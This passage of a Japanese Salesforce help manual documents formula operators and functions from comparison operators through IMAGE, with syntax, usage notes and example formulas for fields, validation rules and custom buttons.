IF(AnnualRevenue < 1000000, 1, 2) で、収益が 100 万未満のものには
「1」、100 万より多いものには「2」が割り当てられます。

例:
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> (より大きい)

値がこの記号に続く値よりも大きいかどうかを評価します。説明:

value1 > value2。それぞれの value に、差し込み項目、式、またはその他
の数値を指定します。

使用方法:

IF(commission__c > 1000000, "High Net Worth", "General") で、手
数料が 100 万より大きいものに「High Net Worth」という値が割り当てられます。
これは、commission というカスタム項目を使用するテキスト数式項目です。

例:

<= (以下)

値がこの記号に続く値以下かどうかを評価します。説明:

value1 <= value2。それぞれの value に、差し込み項目、式、またはその他
の数値を指定します。

使用方法:

IF(AnnualRevenue <= 1000000, 1, 2) で、収益が 100 万以下のものには
「1」、100 万より多いものには「2」が割り当てられます。

例:

>= (以上)

値がこの記号に続く値以上かどうかを評価します。説明:

value1 >= value2。それぞれの value に、差し込み項目、式、またはその他
の数値を指定します。

使用方法:

IF(Commission__c >= 1000000, "YES", "NO") で、手数料が 100 万以上の
ものに「YES」の値が割り当てられます。これは、[手数料]というカスタム通貨
項目を使用するテキスト数式項目です。

例:

&& (AND)

2 つの値、または式が両方とも true であるかどうかを評価します。この演算子
は、論理関数 AND の代わりに使用します。

説明:

(logical1) && (logical2)。logical1と logical2に、評価する値または
式を指定します。

使用方法:

IF((Price<100 && Quantity<5),"Small", null)

この式では、価格が 100 未満かつ数量が 5 未満である場合に「小」が表示されま
す。それ以外の場合、この項目は空白になります。

例:
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|| (OR)

複数の値または式のうち、少なくとも 1 つが true であるかどうかを評価します。
この演算子は、論理関数 OR の代わりに使用します。

説明:

(logical1) || (logical2)。logical1 と logical2 に、評価する値または式を指定
します。

使用方法:

IF((ISPICKVAL(Priority, "High")) || (ISPICKVAL(Status , "New")),
ROUND(NOW()-CreatedDate, 0), null)

この数式は、[状況] が新規の場合、または [優先度] が高の場合には、ケース
がオープンになっていた日数を返します。ケースが今日オープンだった場合、
この項目は 0 を表示します。

例:

(Discount_Rate__c < 0) || (Discount_Rate__c > 0.40)
入力規則の例:

この入力規則の数式では、[割引率] カスタム項目が 0 から 40% 以外の値の場合
に、「割引率は、40% 以内にしてください。」というエラーメッセージを表示し
ます。

& (連結)

複数の文字列を連結します。説明:

string1&string2。それぞれの stringに、差し込み項目、式、またはその他
の数値を指定します。

使用方法:

"Expense-" & Trip_Name__c & "-" & ExpenseNum__c

で、「支出-」の後に出張名と支出番号が表示されます。これは、支出数値カス
タム項目を使用するテキスト数式項目です。

例:

ABS

数値の絶対値を計算します。数値の絶対値とは、正または負の記号のない数値
のことです。

説明:

ABS(number)。それぞれの number に、差し込み項目、式、または削除する記
号を持つその他の数値を指定します。

使用方法:

ABS(ExpectedRevenue)で、値の正負にかかわらず、[期待収益]の正の値が計
算されます。

例:
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AND

値がすべて真である場合は TRUE を返し、1 つ以上の値が偽である場合は FALSE を
返します。この関数は、演算子 && (AND) の代わりに使用します。

説明:

AND(logical1,logical2,...) を使用し、logical1,logical2,... に評価
する値を指定します。

使用方法:

IF(AND(Price<1,Quantity<1),"Small", null)

で、価格と数量が 1 未満の場合は、「小」が表示されます。納入商品の価格また
は数量が 1 より大きい場合、この項目は空白になります。

数式項目の例:

BEGINS

テキストが特定の文字列で始まるかどうかを判断し、該当する場合は TRUE を返
します。偽である場合は FALSE を返します。

説明:

BEGINS(text, compare_text)。text, compare_text に、比較する文字ま
たは項目を指定します。

使用方法:

IF(BEGINS (Product_type__c, "ICU"), "Medical", "Technical")

この例は、カスタムテキスト項目である [商品の種別]が「ICU」で始まっていた
場合に「医療」というテキストを返します。その他のすべての商品については、
「技術」を表示します。

例:

ヒント: • この関数は、大文字と小文字を区別するため、compare_textの値には必ず
正しい大文字を使用してください。

• この関数を入力規則またはワークフロールールで使う場合は、空白の項目も
有効となります。たとえば、納入商品のシリアル番号が「3」で始まるかを確
認する入力規則がある場合、シリアル番号が空白の納入商品は有効と判断さ
れます。

BLANKVALUE

式に値があるかどうかを判断し、ない場合は代替式を返します。式に値がある
場合は、式の値を返します。

説明:

BLANKVALUE(expression, substitute_expression)。expressionに、評
価する式を指定します。substitute_expression に、空白値を置き換える値
を指定します。

使用方法:

例 1

BLANKVALUE(Department, “Undesignated”)

例:
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この数式は、[部署]項目に値が含まれている場合に、[部署]項目の値を返しま
す。[部署] 項目が空の場合は、未指名 という文字が返されます。
例 2

(BLANKVALUE(Payment_Due_Date__c, StartDate +5)

この数式は、[支払期日] が空白の場合は常に、契約開始日の 5 日後の日付を返
します。[支払期日] はカスタム日付項目です。

ヒント: • 新しい数式では、NULLVALUE の代わりに BLANKVALUE を使用してください。
BLANKVALUE には NULLVALUE と同じ機能がありますが、さらにテキスト項目が
サポートされています。Salesforce では NULLVALUE が継続してサポートされる
ため、既存の数式を変更する必要はありません。

• 文字、空白スペース、または 0 が含まれている場合、項目は空ではありませ
ん。たとえば、スペースバーで挿入したスペースが含まれている項目は空で
はありません。

• 項目に値がない場合に指定した文字列を返すには、BLANKVALUE 関数を使用し
ます。項目に値があるかどうかだけを確認する場合は、ISBLANK関数を使用し
ます。

• この関数を数値項目に使用する場合は、項目に値がなく、空白項目を 0 とし
て処理するように設定されていない場合にのみ、指定した文字列が返されま
す。

BR

テキスト文字列に改行を挿入します。説明:

BR()使用方法:

CASE(ShippingCountry,
"USA",

例:

ShippingStreet & BR() &
ShippingCity & ",
" & ShippingState & " " &
ShippingPostalCode & BR()
& ShippingCountry,

"France",
ShippingStreet & BR() &
ShippingPostalCode & " " &
ShippingCity & BR() &
ShippingCountry, "etc")

この数式項目では、国に応じた適切なスペースと改行を含む、標準形式で書式
化された取引先責任者のメールアドレスが表示されます。

ヒント: • 関数名の後の括弧を削除しないでください。
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• 括弧は空白のままにしておきます。値を入れる必要はありません。
• BR() は必ず連結演算子の「&」で囲んでください。
• この関数を差し込み印刷テンプレートで使用しないでください。
• この関数は、カスタムボタンとリンク、Sコントロール、レポートでは使用で

きません。

CASE

与えられた式を一連の値と照合します。式が値と一致する場合は、対応する結
果を返します。どの値とも一致しない場合は、else_result を返します。

説明:

CASE(expression,value1, result1, value2, result2,...,

else_result)。expressionには、指定された値と比較する項目または値を指
使用方法:

定します。value と result の各値は、result を返すために等しくする必要がありま
す。else_resultには、式がどの値とも一致しない場合に返される値を指定し
ます。

ケースがオープンになっていた日数
[オープン日数] という、このカスタム数式項目の例を使用して、ケースがオー
プンになっていた日数に応じて異なるテキストを表示します。
CASE(Days_Open__c, 3,
"Reassign", 2, "Assign Task", "Maintain")

数式項目の例:

は、次のテキストを表示します。
• 3 日間オープンになっていたケースの場合は「再割り当て」と表示します。
• 2 日間オープンになっていたケースの場合は「ToDo の割り当て」と表示しま

す。
• その他のケースについては「継続」と表示します。
最終活動月
この数式項目は、最後の活動があった場合はその月、活動がなかった場合は「な
し」を表示します。
CASE(MONTH(LastActivityDate),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
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12, "December",
"None")

割引率
次の数式では、商談を作成した個人の部署に基づき、その商談に異なる割引率
を挿入します。
CASE(User.Department, "IT", 0.25, "Field", 0.15, 0)

デフォルト値の例:

この例では、数式により、「IT」という部・課に属するユーザが作成した商談で
は割引率を 25% とし、「第一営業」という部・課のユーザが作成した商談では
15% とします。そのどちらの部・課にも属さない作成者の場合には、ゼロを適用
します。標準ユーザ項目 [部署]を使用して商談のカスタムパーセント項目に定
義しています。
商品の言語
商品にその言語を関連付け、ドキュメントや付属品などがわかりやすくなるよ
うにすることができます。次の数式では、商品を作成しているユーザの国を基
に商品の言語を自動的に設定します。ユーザの国が「日本」であれば商品の言
語のデフォルト値に「日本語」を、また、ユーザの国が「アメリカ合衆国」で
あれば「英語」を設定します。どちらにも当てはまらならない (true でない) 場
合、[商品の言語] 項目にはデフォルト値「不明」が入ります。
CASE($User.Country , "Japan", "Japanese", "US",
"English","unknown")

ヒント: • value1、value2 などの式は、必ず同じデータ型にします。
• result1、result2 などの式は、必ず同じデータ型にします。
• CASE 関数に、True または False を返す関数を含めることはできません。代わり

に、真か偽かを判断して次のような数値を返す式を作成します。
CASE(1, IF(ISPICKVAL (Term__c, "12"), 1, 0),
12 * Monthly_Commit__c,
IF(ISPICKVAL(Term__c, "24"), 1, 0),
24 * Monthly_Commit__c, 0)

この数式の [用語] は、True の場合は 1 の値を含む [毎月の達成予測] で乗算さ
れる選択リストです。

• else_result の値は必須です。
• 式からエラーが返されるときは、必ず CASE 関数によってエラーが返されま

す。たとえば、CASE(Field__c,"Partner", "P", "Customer", "C",

LEFT(Field__c, -5)) では、項目の値が「パートナー」または「顧客」で
あっても、最後のステートメントが論理的でないためにエラーが返されます。

• CASE 関数内の項目が空白の場合、else_result の値が返されます。たとえ
ば、CASE(Days_Open__c, 3, "Reassign", 2, "Assign Task",
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"Maintain") では、[日進行中] 項目が空白、0、または 2 と 3 以外の値であ
れば「継続」が表示されます。

• 選択リストの値が特定の値と等しいかどうかを判断するには、CASE 関数を使
用します。たとえば、CASE(Term__c, "12", 12 * Monthly_Commit__c,

"24", 24 * Monthly_Commit__c, 0) では、[期間] が 12 の場合は [毎月
の達成予測] の金額に 12 が乗算され、[期間] が 24 の場合は [毎月の達成予
測] の金額に 24 が乗算されます。それ以外の場合、結果は 0 になります。

CASESAFEID

15 文字の ID を大文字と小文字を区別しない 18 文字の ID に変換します。説明:

CASESAFEID(id)。id にオブジェクトの ID を指定します。使用方法:

CASESAFEID (Id)
例:

この数式では、15 文字の ID を大文字と小文字を区別しない 18 文字の ID に置き換
えます。

ヒント: • Excel との互換性を高めるために 18 文字の ID に変換します。
• CASESAFEID 関数は、レポートと Sコントロールを除く数式を定義できるすべて

の場所で使用できます。

CEILING

数値を、もっとも近い整数に切り上げます。説明:

CEILING(number)。number を切り上げられた値に置き換えます。使用方法:

切り上げ (リテラル値)

CEILING(2.5)

例:

この数式は 3 を返します。つまり、2.5 がもっとも近い数値に切り上げられた結
果です。
地震の規模
CEILING(Magnitude__c) は、地震の規模をもっとも近い整数に切り上げた値
を返します。

CONTAINS

テキストの 2 つの引数を比較し、最初の引数に 2 番目の引数が含まれる場合には
TRUE を返します。含まれない場合は FALSE を返します。

説明:
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CONTAINS(text, compare_text)。textに、compare_textの値を含むテキ
ストを指定します。

使用方法:

IF(CONTAINS(Product_Type__c, "part"), "Parts", "Service")
例:

この数式は、Product_Type というカスタムテキスト項目の内容を確認し、
「part」という言葉の含まれる商品に対して「Parts」を返します。それ以外の場
合は、"Service" と表示します。値は大文字と小文字の区別をするため、
Product_Type 項目に含まれるテキストが「Part」または「PART」の場合
「Services」が表示されます。

ヒント: • この関数は、大文字と小文字を区別するため、compare_textの値には必ず
正しい大文字を使用してください。

• この関数を入力規則またはワークフロールールで使う場合は、空白の項目も
有効となります。たとえば、納入商品のシリアル番号に「A」を含むかどうか
を確認する入力規則がある場合、シリアル番号が空白の納入商品は有効と判
断されます。

• CONTAINS 関数は複数選択リストをサポートしません。複数選択リストに特定
の値があるかどうかを確認するには、INCLUDES を使用します。

DATE

入力した年、月、および日の値から日付値を返します。Salesforceでは、数式項目
内の DATE 関数の値が、うるうでない年の 2 月 29 日などのように無効な日付であ
る場合に、詳細ページにエラーを表示します。

説明:

DATE(year,month,day)。year に 4 桁の年、month に 2 桁の月、day に 2 桁の
日を指定します。

使用方法:

DATE(2005, 01, 02) は、2005 年 1 月 2 日という日付項目を作成します。例:

DATEVALUE

日付/時間またはテキストの式に対して日付型の値を返します。説明:

DATEVALUE(expression)。expression に、日付/時間かテキスト値、差し込
み項目、または式を指定します。

使用方法:

クローズ日
DATEVALUE(ClosedDate) は、[クローズ日時] 項目の値に基づいた日付項目を
表示します。

例:

日付値
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DATEVALUE("2005-11-15")であれば、日付値として November 15, 2005 を表示し
ます。

ヒント: • 関数で参照されている項目が有効なテキスト項目または日付/時間項目でない
場合、数式項目には「#ERROR!」と表示されます。

• 日付を入力する場合は、日付を引用符で囲み、YYYY-MM-DD (4 桁の年、2 桁の
月、および 2 桁の日) の形式で指定します。

• 01 から 12 以外の数値が MM に指定された場合など、expression が有効な日
付の範囲と一致しない場合は数式項目に「#ERROR!」が表示されます。

• リストビュー、レポート、関連リストを除き、日付と時刻は常にユーザのタ
イムゾーンを使用して計算されます。これらの項目は協定世界時を使用して
日付と時刻を計算します。

DATETIMEVALUE

年、月、日、および GMT 時刻値を返します。説明:

DATETIMEVALUE(expression)。expressionに、日付/時間かテキスト値、差
し込み項目、または式を指定します。

使用方法:

クローズ日
DATETIMEVALUE(ClosedDate)は、[クローズ日時]項目の値に基づいた日付項
目を表示します。

例:

日付値
DATETIMEVALUE("2005-11-15 17:00:00")は、日時値として November 15, 2005

5:00 PM GMT を表示します。

ヒント: • DATETIMEVALUE の計算には、常に GMT タイムゾーンが使用され、変更はできま
せん。

• 特定の日付を入力する場合は、日付を引用符で囲み、YYYY-MM-DD (4 桁の年、
2 桁の月、および 2 桁の日) の形式で指定します。

• 01 から 12 以外の数値が MM に指定された場合など、expression が有効な日
付の範囲と一致しない場合は数式項目に「#ERROR!」が表示されます。

DAY

月の日付を、1 から 31 までの数値形式で返します。説明:

DAY(date)。date を、日付項目や TODAY() などの値で指定します。使用方法:
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DAY(Code_Freeze__c) は、コードフリーズの日付を返します。これは、日付/

時間項目では機能しません。
例:

DISTANCE

2 つの場所の距離をマイル単位またはキロ単位で計算します。説明:

DISTANCE(mylocation1, mylocation2, 'unit')。mylocation1 と
mylocation2 に、2 つの場所項目、または 1 つの場所項目と GEOLOCATION 関数

使用方法:

で返された値を指定します。unit を mi (マイル) または km (キロ) に置き換えま
す。

2 つの地理位置情報項目間の距離例:

DISTANCE(warehouse_location__c, store_location__c, 'mi')

この数式は、倉庫と店舗間の距離をマイル単位で返します。この例の
warehouse_location__c と store_location__c は、2 つのカスタム地理位
置情報項目の名前です。
住所項目と地理位置情報項目間の距離
DISTANCE(BillingAddress, store_location__c, 'mi')

この数式は、取引先の請求先住所と店舗間の距離をマイル単位で返します。こ
の例の BillingAddress は、取引先オブジェクトの標準請求先住所項目で、
store_location__c はカスタム地理位置情報項目の名前です。
カスタム地理位置情報項目と固定座標間の距離
DISTANCE(warehouse_location__c, GEOLOCATION(37.775,-122.418),
'km')

この数式は、倉庫と既知の緯度 37.775°および経度 -122.418°(サンフランシスコ) 間
の距離をキロ単位で返します。
条件付きの距離
IF(DISTANCE(warehouse_location__c, ShippingAddress, 'mi')<10,
"Near", "Far")

この数式は、倉庫と取引先の納入先住所複合項目間の距離が 10 マイル未満であ
れば、テキスト数式項目を 近い に更新します。10 マイル以上の場合は、テキス
ト項目を 遠い に更新します。

ヒント:  DISTANCE はマイル単位またはキロ単位で計算できますが、計算で
単位は返されません。可能な場合は、距離数式項目の名前に測定単位を含
めて、距離 (マイルまたはキロ) がユーザにわかるようにします。

ヒント: • DISTANCE 関数は数値データ型を返します。地理位置情表記が度、分、秒単位
で表示される場合でも、距離は常に 10 進数で計算されます。カスタム項目を
作成するときに表示する小数点以下の桁数を指定します。
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• レポートには DISTANCE 関数を使用できませんが、リストビューには使用でき
ます。レポートで DISTANCE 関数を使用するには、数式項目を設定して、レ
ポートでこの項目を参照します。

• DISTANCE は、GEOLOCATION パラメータを使用できる唯一の数式関数です。
• DISTANCE の精度および等価の計算には限界があります。

– DISTANCE は、論理演算子 > および < のみをサポートし、指定された半径内
(<) または外 (>) の値を返します。

– 距離は、2 点間の地理や地形に関係なく、最短の直線距離で計算されま
す。

詳細は、『Force.com SOQL および SOSL リファレンス』の「How SOQL Calculates and

Compares Distances」を参照してください。

EXP

e を指定した指数まで掛け合わせた値を返します。説明:

EXP(number)。number に、数値項目または 5 などの値を指定します。使用方法:

リテラル値の指数
EXP(3)

例:

で、e を 3 乗した値が返されます。
複利
Principal__c * EXP(Rate__c * Years__c)

この数式は、元金を表すカスタム通貨項目、利率を表すカスタムパーセント項
目、および年数を表すカスタム数値項目に基づいて複利を計算します。

FIND

テキスト文字列中での指定した文字列の位置を数値で返します。説明:

FIND(search_text, text[, start_num])。search_text に検索対象とな
る文字列を指定します。text には、検索対象となる項目または式を指定しま
す。start_numには、左から右に向かって検索を開始する文字数を指定します。

使用方法:

町名・番地
FIND(" ", Street) は、[町名・番地] 項目での最初のスペースの位置を表示
します。この文字位置を表す数字から、番地の長さを割り出し、住所の項目で
番地と町名を切り分けることができます。

例:

Web サイトアドレスの抽出
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SUBSTITUTE(Email, LEFT(Email, FIND("@", Email)), "www.") は、個
人のメールアドレスから @ マークの位置を検索し、「www」で置き換えるテキ
スト長を割り出します。この処理によって Web サイトアドレスを抽出できます。

ヒント: • 確認する前に、数式から括弧 ([ と ]) を必ず削除してください。
• text パラメータで参照されている項目が空白の場合、数式項目には「0」が

表示されます。
• search_text パラメータは大文字と小文字を区別し、ワイルドカード文字

を含めることはできません。
• 検索で該当するものがない場合は、項目に「0」が表示されます。
• start_num パラメータは省略可能です。start_num 値を入力しなかった場

合は、「1」か文字列の最初の文字が使用されます。
• start_num に指定した値が 0 以下だった場合は、項目に「0」が表示されま

す。
• start_num に指定した値がテキスト長を超えている場合は、項目に「0」が

表示されます。
• start_num パラメータへの値の入力時には、入力した値の先頭に「http://」

が自動的に付加されるため [Web サイト] 項目などの項目は固有のものにし
ます。

• 文字列の最初の文字は 0 ではなく 1 と指定されています。

FLOOR

もっとも近い整数に切り捨てられた数値を返します。説明:

FLOOR(number)。number に、数値項目または 5.245 などの値を指定します。使用方法:

手数料
FLOOR(commission__c) は、手数料をもっとも近い整数に切り捨てます。

例:

GEOLOCATION

指定された緯度と経度に基づいて地理位置情報を返します。DISTANCE 関数と併用
する必要があります。

説明:

GEOLOCATION(latitude, longitude)。latitudeと longitudeに、対応す
る地理位置情報の数値コード値を指定します。

使用方法:

カスタム地理位置情報項目と固定座標間の距離例:

DISTANCE(warehouse_location__c, GEOLOCATION(37.775,-122.418),
'km')
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この数式は、倉庫と既知の緯度 37.775°および経度 -122.418°(サンフランシスコ) 間
の距離をキロ単位で返します。

ヒント: • GEOLOCATION 関数は、DISTANCE 関数のみが使用でき、この DISTANCE 関数と併
用する必要のある場所データ型を返します。GEOLOCATION 関数は単独では機
能しません。

GETRECORDIDS

リストビューまたは関連リストなどのリスト内で選択したレコードのレコード
ID の形式で、配列された文字列を返します。

説明:

{!GETRECORDIDS(object_type)}。object_typeに、取り出したいレコード
のカスタムオブジェクトまたは標準オブジェクトへの参照を指定します。

使用方法:

{!REQUIRESCRIPT ("/soap/ajax/13.0/connection.js")} var records =
{!GETRECORDIDS($ObjectType.Sample)}; var

カスタムボタンの例:

newRecords = []; if (records[0] == null) { alert("Please select
at least one row") } else {

for (var n=0; n<records.length; n++) { var c =
new sforce.SObject("Case"); c.id = records[n]; c.Status = "New";

newRecords.push(c); } result =
sforce.connection.update(newRecords); window.location.reload(); }

この例では、すべての選択されたケースのレコードの [状況]を「新規」として
更新します。組織で設定するには、次の属性を持つケースのカスタムリストボ
タンを作成します。
• [表示の種類] は「リストボタン」です。
• [動作] は「JavaScript を実行」です。
• [内容のソース] は「OnClick JavaScript」です。
上記のサンプルコードをカスタムボタンのコンテンツに張り付けます。最後に
リストボタンを、取引先や商談などの [ケース] 関連リストを含むページレイアウ
トに追加します。ユーザは、関連リストで任意の数のケースを選択し、リスト
ボタンをクリックすることで選択した複数のケースの状態を一度に変更できま
す。ユーザがリストから何も選択しなかった場合にメッセージを表示する
records[0] == null の設定を確認してください。

ヒント: • Sコントロール、カスタム項目、およびリンクの特殊な差し込み項目にアクセ
スするには、グローバル変数を使用します。

• 活動は、特殊なオブジェクトです。ToDo リストボタンを作成する場合は、
{!GETRECORDIDS($ObjectType.Task)} を使用します。行動リストボタンを作成する場
合は、{!GETRECORDIDS($ObjectType.Event)} を使用します。
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• この関数はカスタムボタン、リンク、および Sコントロールでのみ使用でき
ます。

GETSESSIONID

ユーザのセッション ID を返します。説明:

GETSESSIONID()使用方法:

HYPERLINK
("https://www.myintegration.com?sId="&

例:

GETSESSIONID() & "?&rowID="&Name & "action=CreateTask","Create
a Meeting Request")

は、Salesforce 以外のアプリケーションへのリンクを作成し、パラメータを渡し
て、API 経由で Salesforce に接続し、必要な行動を作成できるようにします。

ヒント:
重要: $Api.Session_ID と GETSESSIONID() では、同じ値 (現在のコン
テキストの現在のセッションの識別子) が返されます。このコンテキスト
は、グローバル変数または関数が評価される場所によって異なります。た
とえば、カスタム数式項目でいずれかを使用し、その項目がSalesforce Classic

の標準ページレイアウトに表示される場合、基本的な Salesforceセッション
が参照されます。Visualforce ページで使用される場合、その同じ項目 (また
は基礎となる変数か数式の結果) で、代わりに Visualforce セッションが参照
されます。
セッションコンテキストは、要求のドメインに基づきます。つまり、セッ
ションコンテキストは、.salesforce.comから .visual.force.comま
たは .lightning.force.com など、ホスト名の境界を越えるたびに変更
されます。
各種コンテキストのセッション識別子と、セッション自体は異なります。
コンテキスト間を移行すると、古いセッションは新しいセッションで置き
換えられ、古いセッションは無効になります。このときセッション ID も変
更されます。
通常、Salesforce ではコンテキスト間のセッションハンドオフが透過的に処
理されますが、セッション ID を渡す場合は、新しいコンテキストから
$Api.Session_ID または GETSESSIONID() に再度アクセスして、有効
なセッション ID にする必要がある場合もあります。
すべてのセッションが同じように作成されるわけではありません。特に、
Lightning Experience コンテキストで取得したセッションの権限は低いため、
API にアクセスできません。これらのセッション ID を使用して、API コール
を行うことはできません。
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HTMLENCODE

大なり記号 (>) などの HTML で予約されている文字を &gt; などの HTML エンティ
ティ文字に置き換えて、HTML で使用するテキスト文字列や差し込み項目値をエ
ンコードします。

説明:

{!HTMLENCODE(text)}。text に、差し込み項目または予約文字を含むテキス
ト文字列を指定します。

使用方法:

差し込み項目 foo__c が <B>Enter the user's name<b> を含む場合、
{!HTMLENCODE(foo__c)} は &lt;B&gt;Enter the user&#39;s

name&lt;/b&gt; のようになります。

例:

この関数はカスタムボタンとカスタムリンク、および Visualforce でのみ使用でき
ます。

ヒント:

HYPERLINK

指定したテキストからリンク可能な指定 URL へのリンクを作成します。説明:

HYPERLINK(url, friendly_name [,target])。url に、Web アドレスを指
定します。friendly_nameには、リンクのテキストを指定します。targetは、
必要に応じてコンテンツを表示するウィンドウまたはフレームを指定します。

使用方法:

行動の作成
HYPERLINK("00U/e?
retURL=%2F006x0000001T8Om&what_id="

例:

& Id,
"Create Event")

は「行動の作成」というリンクを追加します。このリンクをクリックすると、
現在のオブジェクトに関連付けられる新しい行動が作成されます。
電話のダイヤル機能
HYPERLINK("http://servername/call?id=" & Id & "&phone=" & Phone,

Phone)では、クリックしたときに自動的に電話がかけられる、リンク可能な電
話番号項目が作成されます。この例では、"servername" と "call" に、ダイ
ヤルするときに使用するダイヤルツールの名前とコマンドを指定します。差し
込み項目の [ID]は、取引先責任者、リード、または取引先レコードを表す識別
子を挿入します。最初の [電話]差し込み項目でダイヤルツールに通話先番号を
伝え、最後の [電話] 差し込み項目では、[電話] 項目の値を、ユーザがダイヤ
ルするときにクリックするリンク可能なテキストとして使用します。

ヒント: • ハイパーリンク数式項目の種別はテキストです。
• プロトコルと URL を、HYPERLINK("http://www.cnet.com", "cnet") の

ように、引用符で囲みます。
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• LEN、LEFT、RIGHT などのテキスト関数を HYPERLINK 関数結果で使用しないでく
ださい。

• Salesforce ページにリンクするときは、検索レイアウトに数式項目を追加する
場合を除き、ハイパーリンクの数式として、「00U/e?retURL=%...」などの相対
リンクを使用します。検索レイアウトに追加する場合は、ハイパーリンク数
式の中で、サーバ名と https:// を含む完全 URL を使用してください。数式項目
は、検索結果レイアウトには使用できません。

• API の URL を参照するには、$Api 変数を使用します。
• 確認する前に、数式から括弧 ([ と ]) を必ず削除してください。
• targetパラメータは省略可能です。targetを指定しない場合、リンク先は

新規ブラウザウィンドウ内に開きます。一般的な target パラメータは次の
とおりです。
_blank

リンク先を名前のない新規ウィンドウに表示します。
_self

リンク先をリンク元の要素と同じフレームまたはウィンドウに表示しま
す。

_parent

現在のフレームの直接の親フレームセットにリンク先を表示します。現在
のフレームに親がない場合は、_self を指定した場合と同様になります。

_top

他のフレームをすべてキャンセルして、リンク先を元のウィンドウ全体に
表示します。現在のフレームに親がない場合は、_self を指定した場合と同
様になります。

基本的な HTML タグについての詳細は、インターネット上の HTML リファレン
スを参照してください。

• HYPERLINK 関数は、デフォルト値、項目自動更新、Sコントロール、入力規則、
承認プロセス、カスタムボタンとリンク、およびワークフロールールを除く
数式を定義できるすべての場所で使用できます。

関連トピック:

数式の演算子と関数 I – Z

数式の演算子と関数

数式の演算子と関数 I – Z

数式を作成するときに、次の演算子と関数を使用します。下の演算子または関数の名前をクリックすると、詳
細が表示されます。すべての関数は、特に指定のない限り、数式項目、入力規則、承認プロセス、ワークフ
ロールールなどの数式を指定できるあらゆる場所で使用できます。

メモ: 例題中の余分なスペースは無視されます。
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IF

式が真か偽かを判断します。真の場合は与えられた値を返し、偽の場合は別の
値を返します。

説明:

IF(logical_test, value_if_true, value_if_false)。logical_test

に、評価する式を指定します。value_if_trueに、式が真の場合に返す値を指
定します。value_if_false に、式が偽の場合に返す値を指定します。

使用方法:

支払い遅延
IF(AND(Payment_Due_Date__c < TODAY(),Payment_Status__c ="UNPAID")
, "PAYMENT OVERDUE", null)

数式項目の例:

で、支払期日が過ぎ、支払状況が「未払い」かどうかが判断されます。該当す
る場合は、「支払い遅延」というテキストを返し、該当しない場合は、項目を
空白のままにします。この例では、[支払期日] というカスタム日付項目と [支
払いの状況] というテキストカスタム項目が使用されます。
税率の入力
この数式では、ユーザの市区郡に基づいて納入商品の税率を設定します。次の
デフォルト値を持つカスタムパーセント項目を作成します。
IF($User.City = "Napa", 0.0750,
IF($User.City = "Paso Robles", 0.0725,
IF($User.City = "Sutter Creek", 0.0725,
IF($User.City = "Los Olivos", 0.0750,
IF($User.City = "Livermore", 0.0875, null
)
)
)
)
)

{!
IF(Sample.BillingCountry = "US",

カスタムボタンの例:

"http://maps.google.com/maps?q="&Sample.BillingStreet&
"+"&Sample.BillingCity&"+"&Sample.BillingState&"+
"&Sample.BillingCountry,
(IF(Sample.BillingCountry = "UK",
"http://maps.google.co.uk/maps?q="&Sample.BillingStreet
&"+"&Sample.BillingCity&"+"&Sample.BillingCountry,
"http://maps.google.com")))
}

この例は、適切な種類の Google マップを使って住所を表示できるよう、IF 関数を
使って住所が米国にあるのか英国にあるのかを調べます。

ヒント: • value_if_true式と value_if_false式は、必ず同じデータ型にします。
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• ログインしたユーザが所有している Salesforce ユーザライセンスの種類を判別
するために、$Profile.UserType 変数を使った IF 関数を使用する場合は、次の値を
使用します。
– Salesforce の場合は Standard

– PRM ユーザの場合は PowerPartner

– カスタマーポータルユーザの場合は CustomerSuccess

– カスタマーポータルマネージャの場合は PowerCustomerSuccess

たとえば、ログインしたユーザが引用符内に指定したライセンスを持ってい
るかどうかを判別するには、次の数式を使います。
IF(ISPICKVAL($Profile.UserType ,"Standard"), 100, 0.1)

IF(ISPICKVAL($Profile.UserType ,"PowerPartner"), 100, 0.1)

IF(ISPICKVAL($Profile.UserType ,"CustomerSuccess"), 100, 0.1)

メモ:  $Profile 差し込み項目は、Enterprise Edition、Unlimited Edition、Performance

Edition、および Developer Edition でのみ使用可能です。

IMAGE

代替テキスト付き画像の高さと幅の仕様を挿入します。説明:

IMAGE(image_url, alternate_text, height, width)。image_url に画
像へのフルパスを指定します。alternate_text に、画像が何らかの理由で表

使用方法:

示されなかった場合に表示されるテキスト文字列で、スクリーンリーダーソフ
トウェアで使用できるテキスト文字列を指定します。heightは画像の縦のサイ
ズをピクセル数で指定します。width に画像の横のサイズをピクセル数で指定
します。
HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c,
IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c &
"&m;=g&t;=0", "Yahoo"))

で、誰かがサービスにログインしていることを示す、クリック可能な Yahoo!

Messenger アイコンが表示されます。ユーザは、その人物と Yahoo! Messenger の会

例:

話を起動するために、このアイコンをクリックできます。この例では、Yahoo!

Messenger ID を格納できる取引先責任者の [Yahoo 名] というカスタムテキスト
項目を使用しています。

ヒント: • height と width パラメータは、省略可能です。
• image_url と alternate_text パラメータには、テキスト文字列を使用し

ます。各テキスト文字列は、引用符で囲みます。
• height と width パラメータには、数値を使用します。
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• 画像を他に表示する場合は、[ドキュメント] タブに追加します。たとえば、
商品の画像をドキュメントフォルダに格納し、URL をドキュメントにコピー
して、[商品] タブにある数式項目の image_urlパラメータに、その URL を貼
り付けます。

• Internet Explorer を使用する場合は、画像が HTTP プロトコルを使用するときに警
告メッセージが表示されないように、セキュリティ設定の変更が必要になる
可能性があります。セキュリティ設定の変更手順は、Internet Explorer のオンラ
インヘルプを参照してください。

• IMAGE 関数には、引数として GETSESSIONID 関数を含めることはできません。
• IMAGE 関数は、数式項目とメールテンプレートでのみ使用できます。

INCLUDE

Sコントロールスニペットの内容を返します。複数の Sコントロールで共通のコー
ドを再利用する場合に、この関数を使用します。

説明:

{!INCLUDE(source, [inputs])}。source に、参照する Sコントロールスニ
ペットを指定します。inputs に、スニペットに渡す情報を指定します。

使用方法:

ヘッダースニペットを含める
<html> <body> {! INCLUDE($SControl.Header_Snippet, [title = "My
Title",

theme = "modern"])} </body> </html>

Sコントロールの例:

この例は、Web タブに表示するように作成したページにヘッダーを提供するスニ
ペットを参照します。ページタイトルとして「私のタイトル」を表示します。
カスタムSコントロールを参照するには、$SControl グローバル変数を使用します。
入力パラメータを含める
次の 2 つの例では、再利用可能なスニペットの作成方法と、Sコントロールにそ
のスニペットを含める方法を説明します。
<h2

class=”{!$Request.titleTheme}.title”>
{!$Request.titleText}</h2>

このスニペットには、titleTheme と titleText の 2 つの入力パラメータが必
